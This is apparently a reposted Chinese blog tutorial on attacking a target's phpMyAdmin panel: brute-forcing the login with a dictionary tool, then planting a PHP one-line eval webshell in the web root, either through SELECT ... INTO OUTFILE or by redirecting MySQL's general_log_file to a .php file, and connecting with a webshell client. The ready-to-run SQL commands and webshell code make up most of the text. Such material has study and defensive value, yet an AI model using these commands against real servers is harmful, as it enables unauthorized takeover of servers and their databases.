欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

phpmyadmin**和后台getshell

程序员文章站 2022-03-24 14:16:06
...

目录

phpmyadmin

phpmyadmin后台的**

phpmyadmin后台GetShell

into outfile写木马

利用日志文件Getshell


phpmyadmin

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。

phpmyadmin后台的**

当我们发现目标网站的phpmyadmin后台后,首先想到的肯定就是能不能**登录处进入后台。一旦进入了后台,意味着就控制了整个数据库了。

phpmyadmin**和后台getshell

我们这里直接使用phpmyadmin暴力**工具,然后指定用户名和密码字典即可。

phpmyadmin**和后台getshell

phpmyadmin后台GetShell

当我们进入了 phpmyadmin 后台后,如何能够获取服务器的权限呢?

以下方法的前提都是需要知道网站的绝对路径。

into outfile写木马

首先,我们得查看当前是否有写文件的权限,我们需要查看变量 secure_file_priv 的值,只有当secure_file_priv没有具体值,我们才可以写文件。如果secure_file_priv变量有具体的值或者为NULL时,我们则写入不了文件。执行命令:

show global variables like 'secure%';

如下, secure_file_priv的值为空,说明可以写入文件。

phpmyadmin**和后台getshell

但是,我们现在需要知道网站的绝对路径,才能执行以下命令将木马写入到网站目录下。

select '<?php @eval_r($_POST[cmd])?>' INTO OUTFILE '网站绝对路径/hack.php'

可以尝试使用 select @@basedir 来查看MySQL数据库的路径。

phpmyadmin**和后台getshell

然后尝试执行以下命令

select '<?php @eval_r($_POST[cmd])?>' INTO OUTFILE 'C:\phpstudy\phptutorial\www\hack.php'

phpmyadmin**和后台getshell

然后用菜刀连接即可

利用日志文件Getshell

MySQL 5.0版本以上会创建日志文件,我们通过修改日志的全局变量,也可以Getshell。先来看MySQL的两个全局变量:general_log 和 general_log file。

  • general log 指的是日志保存状态,ON代表开启 OFF代表关闭;
     
  • general log file 指的是日志的保存路径。

使用以下命令查看这两个变量的值

show variables like '%general%'

phpmyadmin**和后台getshell

可以看到,general_log的值是OFF的,我们现在执行命令将它打开

set global general_log='on'

phpmyadmin**和后台getshell

当general_log的值为ON时,所执行的sql语句都会出现在 WIN7.log 文件

现在我们设置general_log_file的值,将其设置为网站根目录下。那么我们执行的SQL语句就会在该文件中。

set global general_log_file="C:/phpStudy/PHPTutorial/WWW/hack.php"

phpmyadmin**和后台getshell

现在我们执行一句话木马的SQL语句,这一句话木马会在日志文件中

SELECT '<?php eval($_POST["cmd"]);?>'

phpmyadmin**和后台getshell

phpmyadmin**和后台getshell

然后用菜刀连接即可。

:以上设置 general_log 和 general_log_file 只对当前环境窗口有效,也就是以上几条命令须在同一窗口执行。

相关标签: 漏洞复现